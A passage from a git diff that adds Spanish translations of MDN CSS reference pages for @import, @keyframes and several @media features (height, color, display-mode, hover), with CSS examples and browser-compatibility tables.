+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Media Queries', '#media0', '@import') }}</td>
+   <td>{{ Spec2('CSS3 Media Queries') }}</td>
+   <td>Extiende la sintaxis para soportar cualquier <a href="/en/CSS/Media_queries" title="/en/CSS/Media_queries">consultas de medios (media query)</a> y no sólo los <a href="/en/CSS/@media#Media_types" title="/en/CSS/@media#Media_types">tipos de medios</a> simples.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'cascade.html#at-import', '@import') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Añade soporte para <span style="background-color: rgb(250, 251, 252); font-family: consolas,monaco,andale mono,monospace; font-size: 1rem; line-height: 19px; white-space: pre;">{{cssxref("&lt;string&gt;")}}</span><br>
+     para denotar la <em>url</em> de una hoja de estilo,<br>
+    y es requerida para insertar la regla <code>@import</code>  en el principio del documento CSS.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#the-cascade', '@import') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>5.5</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>5.5</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/@keyframes/index.html b/files/es/web/css/@keyframes/index.html
new file mode 100644
index 0000000000..55944c37db
--- /dev/null
+++ b/files/es/web/css/@keyframes/index.html
@@ -0,0 +1,178 @@
+---
+title: '@keyframes'
+slug: Web/CSS/@keyframes
+translation_of: Web/CSS/@keyframes
+---
+<p>{{ CSSRef() }} {{ SeeCompatTable() }}</p>
+
+<h3 id="Resumen">Resumen</h3>
+
+<p>La regla arroba <code>@keyframes</code> permite a los autores controlar los pasos intermedios en una secuencia de animación CSS mediante el establecimiento de keyframes (o puntos de trayectoria) a lo largo de la secuencia de animación que debe ser alcanzado por determinados puntos durante la animación. Esto le da un control más específico sobre los pasos intermedios de la secuencia de animación que se obtiene al dejar que el navegador maneje todo automáticamente.</p>
+
+<div>Para utilizar keyframes, se crea una regla de <span style="font-family: monospace;">@keyframes</span> con un nombre que es utilizada por la propiedad {{cssxref ("animation-name")}} para que coincida con una animación de keyframe a su lista. Cada regla <span style="font-family: monospace; line-height: 1.5em;">@keyframes </span><span style="line-height: 1.5em;">contiene una lista de estilo de selectores de keyframe, cada una de los cuales está compuesto de un porcentaje a lo largo de la animación en la que se produce el keyframe así como un bloque que contiene la información de estilo para ese keyframe.</span></div>
+
+<div> </div>
+
+<div>Puede listar los keyframes en cualquier orden, éstos serán tratados en el orden en que los porcentajes especificados indican que debe ocurrir.</div>
+
+<h4 id="Listas_válidas_de_keyframe">Listas válidas de keyframe</h4>
+
+<div>Para obtener una lista de keyframe que sea válida, debe incluir reglas para al menos los tiempos  <span style="font-family: courier new,andale mono,monospace; line-height: normal;">0%</span><span style="line-height: 1.5em;"> (o </span><span style="font-family: courier new,andale mono,monospace; line-height: normal;">desde</span><span style="line-height: 1.5em;">) y </span><span style="font-family: courier new,andale mono,monospace; line-height: normal;">100%</span><span style="line-height: 1.5em;"> (o </span><span style="font-family: courier new,andale mono,monospace; line-height: normal;">hacia</span><span style="line-height: 1.5em;">) (o sea, los estados inicial y final de la animación). Si ambos desplazamientos de tiempo no se especifican, la declaración </span>keyframe<span style="line-height: 1.5em;"> es inválida y no se puede utilizar para la animación.</span></div>
+
+<div> </div>
+
+<div>Si se incluyen las propiedades que no se pueden animar en sus reglas de keyframe, serán ignoradas, pero las propiedades admitidas todavía estarán animadas.</div>
+
+<h4 id="Duplicar_resolución">Duplicar resolución</h4>
+
+<div>Si existen varios conjuntos de keyframe para un nombre dado, el último encontrado se utiliza. Las reglas de <span style="font-family: courier new,andale mono,monospace;">@keyframes</span> no estan en cascada, por lo que nunca las animaciones se conducen en keyframe desde un conjunto de reglas más de uno.</div>
+
+<div> </div>
+
+<div>Si una animación en tiempo compensado dado se duplica, el último keyframe en la regla de <span style="font-family: courier new,andale mono,monospace;">@keyframes</span> para que ese porcentaje se utilice para ese frame. No hay una cascada dentro de una regla de <span style="font-family: courier new,andale mono,monospace;">@keyframes</span><br>
+si varios kayframes especifican los valores de los mismos porcentajes.</div>
+
+<div>
+<h3 id="Cuando_las_propiedades_son_dejadas_fuera_de_algunos_keyframes">Cuando las propiedades son dejadas fuera de algunos keyframes</h3>
+
+<div>Cualquier propiedad que no se especifican en cualquier keyframes son interpoladas (con la excepción de aquellas que no pueden ser interpoladas, las que son eliminadas de la animación completamente). Por ejemplo:</div>
+</div>
+
+<pre class="brush: css">@keyframes identifier {
+  0% { top: 0; left: 0; }
+  30% { top: 50px; }
+  68%, 72% { left: 50px; }
+  100% { top: 100px; left: 100%; }
+}
+</pre>
+
+<div>En este caso, la propiedad {{cssxref ("top")}} anima con los keyframes de 0%, 30% y 100%, y {{cssxref ("left")}} anima utilizando los keyframes 0%, 68%, y 100%.</div>
+
+<div> </div>
+
+<div>Sólo las propiedades que se especifican tanto en el 0% y 100% de keyframe serán animadas; cualquier propiedad no incluido en ambos de los keyframes conservarán su valor de partida para la duración de la secuencia de animación.</div>
+
+<h3 id="Cuando_se_define_un_keyframe_varias_veces">Cuando se define un keyframe varias veces</h3>
+
+<div>La especificación define que si un keyframe se define varias veces, pero no todas las propiedades afectadas se especifican en cada keyframe, sólo los valores especificados en el último keyframe se consideran. Por ejemplo:</div>
+
+<pre>@keyframes identifier {
+  0% { top: 0; }
+  50% { top: 30px; left: 20px; }
+  50% { top: 10px; }
+  100% { top: 0; }
+}
+</pre>
+
+<div>
+<div>En este ejemplo, en el 50% del keyframe, el valor utilizado es <code style="font-size: 14px;">top: 10px</code> y todos los demás valores en este keyframe se ignoran.</div>
+
+<div> </div>
+
+<div>{{non-standard_inline}} {{fx_minversion_inline ("14")}} los keyframes (fotogramas clave) en cascada son compatibles a partir de Firefox 14. Para el ejemplo anterior, esto significa que en el fotograma clave 50%, el valor left: 20px será considerado. Esto no está definido en la especificación todavía, pero se está discutiendo.</div>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre>@keyframes &lt;identifier&gt; {
+  [ [ from | to | &lt;percentage&gt; ] [, from | to | &lt;percentage&gt; ]* block ]*
+}
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;identifier&gt;</code></dt>
+ <dd>Un nombre que identifica la lista de keyframe. Debe coincidir con el identificador de la producción en la sintaxis del CSS.</dd>
+ <dt><code>from</code></dt>
+ <dd>Un desplazamiento inicial de <code>0%</code>.</dd>
+ <dt><code>to</code></dt>
+ <dd>Un desplazamiento final de <code>100%</code>.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Un porcentaje de las veces aunque la secuencia de la animación en la que el keyframe especifica debe ocurrir.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Mira los ejemplos del <a href="/en/CSS/CSS_animations" title="en/CSS/CSS_animations">CSS animations</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Compatibilidad del navegador</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estadp</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#keyframes', '@keyframes') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>12 {{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>4.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Características</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>
+    <p>{{ CompatUnknown()}}iones</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vease_también">Vease también</h2>
+</div>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_animations" title="en/CSS/CSS_animations">Using CSS animations</a></li>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+</ul>
diff --git a/files/es/web/css/@media/altura/index.html b/files/es/web/css/@media/altura/index.html
new file mode 100644
index 0000000000..7cb29fe768
--- /dev/null
+++ b/files/es/web/css/@media/altura/index.html
@@ -0,0 +1,82 @@
+---
+title: Altura
+slug: Web/CSS/@media/altura
+tags:
+  - '@media'
+  - CSS
+  - Media Queries
+  - Referencia
+  - características media
+translation_of: Web/CSS/@media/height
+---
+<div>{{cssref}}</div>
+
+<p>Las <a href="/en-US/docs/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features">media feature (consulta de medios) </a><strong><code>height</code></strong> puede ser usada para aplicar estilos basados en la altura del {{glossary("viewport")}} (o la caja de la página, para <a href="/en-US/docs/Web/CSS/Paged_media">paged media</a>).</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<p>La característica <code>height</code> es especificada como un valor {{cssxref("&lt;length&gt;")}} representando la altura de la vista (viewport). Es una característica en rangos, lo que siginifica que puede ser prefijada con las variantes <strong><code>min-height</code></strong> y <code><strong>max-height</strong></code> para consultar valores mínimos y máximos, respectivamente.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Watch this element as you resize your viewport's height.&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* Altura exacta */
+@media (height: 360px) {
+  div {
+    color: red;
+  }
+}
+
+/* Altura mínima */
+@media (min-height: 25rem) {
+  div {
+    background: yellow;
+  }
+}
+
+/* Altura máxima */
+@media (max-height: 40rem) {
+  div {
+    border: 2px solid blue;
+  }
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Example','90%')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#height', 'height')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>El valor ahora puede ser negativo, en cuyo caso se calcula como negativo.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#height', 'height')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Definición inicial. El valor debe ser positivo.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.at-rules.media.height")}}</p>
diff --git a/files/es/web/css/@media/color/index.html b/files/es/web/css/@media/color/index.html
new file mode 100644
index 0000000000..462a566a07
--- /dev/null
+++ b/files/es/web/css/@media/color/index.html
@@ -0,0 +1,80 @@
+---
+title: color
+slug: Web/CSS/@media/color
+tags:
+  - CSS
+  - Referencia
+translation_of: Web/CSS/@media/color
+---
+<p><strong><code>color</code></strong> es una característica CSS relativa al medio de presentación cuyo valor es un  <a href="/en-US/docs/Web/CSS/integer"><code>&lt;integer&gt;</code></a> que contiene el número de bits por componente de color en el dispositivo de salida, o cero si el dispositivivo no es en color.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#color', 'color')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/es/web/css/@media/display-mode/index.html b/files/es/web/css/@media/display-mode/index.html
new file mode 100644
index 0000000000..91b1d2cce4
--- /dev/null
+++ b/files/es/web/css/@media/display-mode/index.html
@@ -0,0 +1,90 @@
+---
+title: display-mode
+slug: Web/CSS/@media/display-mode
+tags:
+  - '@media'
+  - CSS
+  - Media Queries
+  - Referencia
+  - características de medio
+  - consultas de medio
+  - display
+  - display-mode
+  - media feature
+translation_of: Web/CSS/@media/display-mode
+---
+<div>{{cssref}}</div>
+
+<p>La <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features">característica de medios (media feature) de CSS</a> <strong><code>display-mode</code></strong> puede ser utilizada para probar el modo de visualización de una aplicación. Puede ser usada para proveer de una experiencia de usuario consistente entre el lanzamiento de un sitio desde una URL y desde un ícono del escritorio.</p>
+
+<p>La característica corresponde al miembro <a href="/en-US/docs/Web/Manifest#display"><code>display</code></a> del manifiesto de la aplicación web. Ambos aplican al contexto de navegación de nivel más alto y a cualquier hijo del contexto de navegación. La característica de consulta aplica sin importar si el manifiesto de la aplicación web esta presente</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La característica <code>display-mode</code> se especifica como un valor de palabra clave elegida de la siguiente lista.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Modo de visualización</th>
+   <th scope="col">Descripción</th>
+   <th scope="col"><code>Modo de visualización de reserva</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>fullscreen</code></td>
+   <td>Toda la área disponible de desplegado es usada y ningún agente de usuario {{glossary("chrome")}} es mostrado.</td>
+   <td><code>standalone</code></td>
+  </tr>
+  <tr>
+   <td><code>standalone</code></td>
+   <td>La aplicación se vera y sentira como una aplicación independiente. Esto puede incluir que la aplicación tenga una ventana diferente, su propio ícono en el lanzador de aplicaciones, etc. En este modo, el agente de usuario excluirá elementos UI paara controlar la navegación, pero puede incluir otros elementos UI como la barra de estado.</td>
+   <td><code>minimal-ui</code></td>
+  </tr>
+  <tr>
+   <td><code>minimal-ui</code></td>
+   <td>La aplicación se vera y sentira como una apicación autónoma, pero tendra un conjunto mínimo de elementos UI para controlar la navegación. Los elementos pueden variar por navegador.</td>
+   <td><code>browser</code></td>
+  </tr>
+  <tr>
+   <td><code>browser</code></td>
+   <td>La aplicación se abre en una pestaña o nueva ventana convencional del navegador, dependiendo del navegador y la plataforma.</td>
+   <td>(none)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: css">@media all and (display-mode: fullscreen) {
+  body {
+    margin: 0;
+    border: 5px solid black;
+  }
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Manifest', '#the-display-mode-media-feature', 'display-mode')}}</td>
+   <td>{{Spec2('Manifest')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+
+
+<p>{{Compat("css.at-rules.media.display-mode")}}</p>
diff --git a/files/es/web/css/@media/hover/index.html b/files/es/web/css/@media/hover/index.html
new file mode 100644
index 0000000000..770d2e7494
--- /dev/null
+++ b/files/es/web/css/@media/hover/index.html
@@ -0,0 +1,70 @@
+---
+title: hover
+slug: Web/CSS/@media/hover
+tags:
+  - '@media'
+  - CSS
+  - Consulta de medios
+  - Media Queires
+  - Referencia
+  - característica de medios
+  - media feature
+translation_of: Web/CSS/@media/hover
+---
+<div>{{cssref}}</div>
+
+<p>La <a href="/en-US/docs/CSS">característica de medios CSS</a> <strong><code>hover</code></strong>, puede se utilizada para probar si el mecanismo de entrada primario de un usuario puede flotar sobre los elementos.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La característica <font face="consolas, Liberation Mono, courier, monospace">hover</font> es especificada como un valor de palabra clave elegida de la siguiente lista.</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>El mecanismo de entrada primario no puede flotar o no puede convenientemente flotar (es decir, algunos dispositivos mobiles emulan la flotación cuando el usuario presiona inconvenientemente por bastante rato la pantalla), o no hay mecanismo de puntero primario.</dd>
+ <dt><code>hover</code></dt>
+ <dd>El mecanismo de entrada primario puede convenientemente flotar sobre los elementos.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;a href="#"&gt;Try hovering over me!&lt;/a&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@media (hover: hover) {
+  a:hover {
+    background: yellow;
+  }
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Media Queries', '#hover', 'hover')}}</td>
+   <td>{{Spec2('CSS4 Media Queries')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+
+
+<p>{{Compat("css.at-rules.media.hover")}}</p>
diff --git a/files/es/web/css/@media/index.html b/files/es/web/css/@media/index.html
new file mode 100644
index 0000000000..05e5f6ec5a
--- /dev/null
+++ b/files/es/web/css/@media/index.html
@@ -0,0 +1,360 @@
+---
+title: '@media'
+slug: Web/CSS/@media
+translation_of: Web/CSS/@media
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/At-rule" title="en/CSS/At-rule">regla-at</a> <a href="/es/docs/Web/CSS" title="CSS">CSS</a> <code>@media</code> asocia un grupo de declaraciones anidadas, en un bloque CSS delimitado por llaves, con una condición definida por un <a href="/es/docs/CSS/Media_queries" title="CSS media queries">media query</a>. La regla-at <code>@media</code> puede ser usada no solo en el nivel superior de la hoja de estilos, sino también dentro de cualquier <a href="/es/docs/Web/CSS/At-rule#Grupos_de_Reglas_Condicionales" title="en/CSS/At-rule#Conditional_Group_Rules">grupo de reglas conditionales</a>.</p>
+
+<p>La regla-at <code>@media</code> puede ser accesible por medio de la interfaz de modelo de objeto {{domxref("CSSMediaRule")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<p>Un <code>&lt;media-query&gt;</code> está compuesto por un tipo de medio opcional y/o un conjunto de características de medio.</p>
+
+<h2 id="Media_types" name="Media_types">Tipos de medios</h2>
+
+<dl>
+ <dt>all</dt>
+ <dd>Aplicable a todos los dispositivos.</dd>
+ <dt>print</dt>
+ <dd>Destinado material paginado y para documentos visibles en pantalla en modo de vista previa para impresión. Por favor, consulte la sección de <a href="/es/docs/Web/CSS/Paged_Media">medios paginados</a>, y la <a href="/es/docs/Web/CSS/Introducción/Media" title="https://developer.mozilla.org/en/CSS/Getting_Started/Media">sección de Media en el tutorial de Introducción</a> para más información acerca de problemas de formateo específicos para los medios paginados.</dd>
+ <dt>screen</dt>
+ <dd>Destinado a principalmente a pantallas de computadora a color.</dd>
+ <dt>speech</dt>
+ <dd>Destinado a sintetizadores de voz. Nota: CSS2 tenía un tipo de medio similar llamado 'aural' para este propósito. Vea el apéndice sobre hojas de estilo aural para más detalles.</dd>
+</dl>
+
+<div class="note"><strong>Nota:</strong> CSS2.1 y Media Queries 3 definió varios tipos de media adicionales (<code>tty</code>, <code>tv</code>, <code>projection</code>, <code>handheld</code>, <code>braille</code>, <code>embossed</code>, <code>aural</code>), pero fueron descontinuados en <a href="http://dev.w3.org/csswg/mediaqueries/#media-types">Media Queries 4</a> y no deben ser usados.</div>
+
+<h2 id="Media_features" name="Media_features">Características de Medios (media feature)</h2>
+
+<p>Cada <em>característica de medios</em> verifica una característica específica del navegador o dispositivo.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>Nombre</th>
+   <th>Resumen</th>
+   <th>Notas</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/width"><code>width</code></a></td>
+   <td>Anchura del viewport</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/height"><code>height</code></a></td>
+   <td>Altura del viewport</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/aspect-ratio"><code>aspect-ratio</code></a></td>
+   <td>Relación de aspecto anchura-altura del viewport</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/orientation"><code>orientation</code></a></td>
+   <td>Orientación del viewport</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/resolution"><code>resolution</code></a></td>
+   <td>Densidad de pixeles del dispositivo</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/scan"><code>scan</code></a></td>
+   <td>Proceso de escaneo del dispositivo</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/grid"><code>grid</code></a></td>
+   <td>¿El dispositivo es un grid o un mapa de bits?</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/update-frequency"><code>update-frequency</code></a></td>
+   <td>Qué tan rápido (si lo hace) puede el dispositivo modificar la apariencia del contenido</td>
+   <td>Incluido en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/overflow-block"><code>overflow-block</code></a></td>
+   <td>Cómo maneja el dispositivo el contenido que excede los límites del viewport a lo largo del eje de bloque</td>
+   <td>Incluido en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/overflow-inline"><code>overflow-inline</code></a></td>
+   <td>¿Puede desplazarse hacia el contenido que excede los límites del viewport?</td>
+   <td>Incluido en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/color"><code>color</code></a></td>
+   <td>Componente de número de bits por color del dispositivo, o cero si el dispositivo no es a color.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/color-index"><code>color-index</code></a></td>
+   <td>Número de entradas en la tabla de búsqueda de color del dispositivo, o cero si el dispositivo no usa una tabla.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/CSS/@media/display-mode">display-mode</a></code></td>
+   <td>Modo de visualización de la aplicación, según se especifique en la <a href="/es/docs/Web/Manifest#display">propiedad display</a> del manifiesto de la aplicación web.</td>
+   <td>Definido en la <a href="http://w3c.github.io/manifest/#the-display-mode-media-feature">especificación del Manifiesto de Aplicación Web</a>.</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/monochrome"><code>monochrome</code></a></td>
+   <td>Bits por pixel en el buffer de marco monocromático del dispositivo, o 0 si el dispositivo no es monocromático.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/inverted-colors"><code>inverted-colors</code></a></td>
+   <td>¿El agente usuario o el Sistema Operativo está invirtiendo los colores?</td>
+   <td>Incluido en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/pointer"><code>pointer</code></a></td>
+   <td>¿El mecanismo de entrada principal es un dispositivo apuntador? y de ser así, ¿qué tan preciso es?</td>
+   <td>Incluido en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/hover"><code>hover</code></a></td>
+   <td>¿El mecanismo de entrada principal permite que el usuario posicione el puntero sobre los elementos?</td>
+   <td>Incluido en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/any-pointer"><code>any-pointer</code></a></td>
+   <td>¿Hay algún mecanismo de entrada que sea dispositivo apuntador? y de ser así, ¿qué tan preciso es éste?</td>
+   <td>Incluido en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/any-hover"><code>any-hover</code></a></td>
+   <td>¿Algún mecanismo de entrada disponible permite que el usuario posicione el puntero sobre los elementos?</td>
+   <td>Incluido en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/light-level"><code>light-level</code></a></td>
+   <td>Nivel de luz ambiental actual</td>
+   <td>Incluido en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/scripting"><code>scripting</code></a></td>
+   <td>¿Se soporta lenguaje de script (p.ej. JavaScript)?</td>
+   <td>Incluido en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/device-width"><code>device-width</code></a> {{obsolete_inline}}</td>
+   <td>Anchura de la superficie de representación del dispositivo</td>
+   <td>Descontinuado en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/CSS/@media/device-height"><code>device-height</code></a> {{obsolete_inline}}</td>
+   <td>Altura de la superficie de representación del dispositivo</td>
+   <td>Descontinuado en Media Queries Nivel 4</td>
+  </tr>
+  <tr>
